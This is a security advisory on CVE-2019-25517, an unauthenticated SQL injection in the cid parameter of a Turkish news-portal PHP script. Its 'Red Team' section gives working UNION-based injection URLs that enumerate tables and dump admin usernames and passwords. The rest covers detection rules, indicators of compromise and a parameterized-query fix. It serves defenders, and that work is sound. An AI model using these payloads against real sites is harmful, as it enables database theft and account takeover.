CVE-2019-25517

Executive Summary

CVE-2019-25517 is a critical unauthenticated SQL injection vulnerability in the Jettweb PHP Hazir Haber Sitesi Scripti V1, a Turkish news portal CMS. The flaw resides in the cid parameter of haberarsiv.php, allowing remote attackers to inject arbitrary SQL commands via UNION-based techniques. Since the application is a standalone PHP script (not a WordPress plugin), the attack surface is direct and requires no authentication. The vendor has not released a patch, making this a permanent zero-day for unmaintained instances.

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby). The software is a custom PHP script distributed directly by Jettweb. No official repository or package registry is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. Unauthenticated remote attackers can extract the entire database (user credentials, session tokens, content) and potentially modify or delete data.

Deep Dive & Mechanics

The vulnerability exists in haberarsiv.php. The cid parameter is directly concatenated into a SQL query without sanitization or parameterization. A typical vulnerable code pattern:

$cid = $_GET['cid'];
$query = "SELECT * FROM haberler WHERE kategori_id = $cid";
$result = mysqli_query($conn, $query);

An attacker can inject a UNION SELECT statement to retrieve arbitrary data from other tables. For example:

cid=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

The number of columns must match the original query. Attackers can use ORDER BY to determine column count.

Vulnerable vs. Patched Code

Vulnerable Code (haberarsiv.php):

<?php
$cid = $_GET['cid'];
$query = "SELECT * FROM haberler WHERE kategori_id = $cid";
$result = mysqli_query($conn, $query);
?>

Patched Code (hypothetical):

<?php
$cid = intval($_GET['cid']);
$stmt = $conn->prepare("SELECT * FROM haberler WHERE kategori_id = ?");
$stmt->bind_param("i", $cid);
$stmt->execute();
$result = $stmt->get_result();
?>

The fix uses prepared statements and type casting to prevent injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Jettweb PHP Hazir Haber Sitesi Scripti V1 on a local LAMP stack.
2. Ensure haberarsiv.php is accessible.

Exploitation Steps:

1. Determine column count:

   http://target.com/haberarsiv.php?cid=1 ORDER BY 100--
   

   Reduce until no error.

2. Extract database version:

   http://target.com/haberarsiv.php?cid=-1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
   

3. Extract table names:

   http://target.com/haberarsiv.php?cid=-1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM information_schema.tables WHERE table_schema=database()--
   

4. Extract user credentials:

   http://target.com/haberarsiv.php?cid=-1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM admin_users--
   

Blue Team

Detection:

• Monitor HTTP GET requests to haberarsiv.php with suspicious cid parameters containing SQL keywords (UNION, SELECT, --, ORDER BY).
• Look for abnormal response sizes or database error messages in server logs.

Hunting:

• Search for cid parameter values containing UNION, SELECT, FROM, INFORMATION_SCHEMA.
• Correlate with IP addresses making multiple requests to haberarsiv.php.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /haberarsiv.php?cid= containing SQL injection patterns.
  • Outbound database connections from the web server to unknown IPs.
• File:
  • Modified haberarsiv.php (if attacker uploaded webshell).
  • Suspicious files in the web root (e.g., cmd.php, shell.php).
• Log:
  • MySQL error logs showing You have an error in your SQL syntax.
  • Web server access logs with UNION or SELECT in the query string.

Detection Engineering

YARA Rule

rule CVE_2019_25517_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25517"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25517"
    strings:
        $s1 = "cid=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "INFORMATION_SCHEMA" nocase
        $s6 = "haberarsiv.php" nocase
    condition:
        all of ($s1, $s2, $s3) and any of ($s4, $s5, $s6)
}

Sigma Rule

title: CVE-2019-25517 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Jettweb PHP Hazir Haber Sitesi Scripti V1
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "cid="
            - "UNION"
            - "SELECT"
            - "FROM"
            - "INFORMATION_SCHEMA"
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25517 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/haberarsiv.php"; http_uri; content:"cid="; http_uri; pcre:"/cid=.*(UNION|SELECT|FROM|INFORMATION_SCHEMA)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch exists, the following mitigations are critical:

1. Immediate Action: Replace the vulnerable script with a modern, maintained CMS (e.g., WordPress, Joomla, or a custom secure solution).
2. Virtual Patching: Deploy a WAF rule to block requests containing SQL injection patterns in the cid parameter.
3. Code Hardening: If replacement is not possible, manually patch haberarsiv.php:
   • Use prepared statements with parameterized queries.
   • Cast cid to integer: $cid = intval($_GET['cid']);
   • Implement input validation and output encoding.
4. Network Segmentation: Place the web server in a DMZ with strict egress filtering.
5. Monitoring: Enable detailed logging and alert on SQL injection patterns.

Valters IT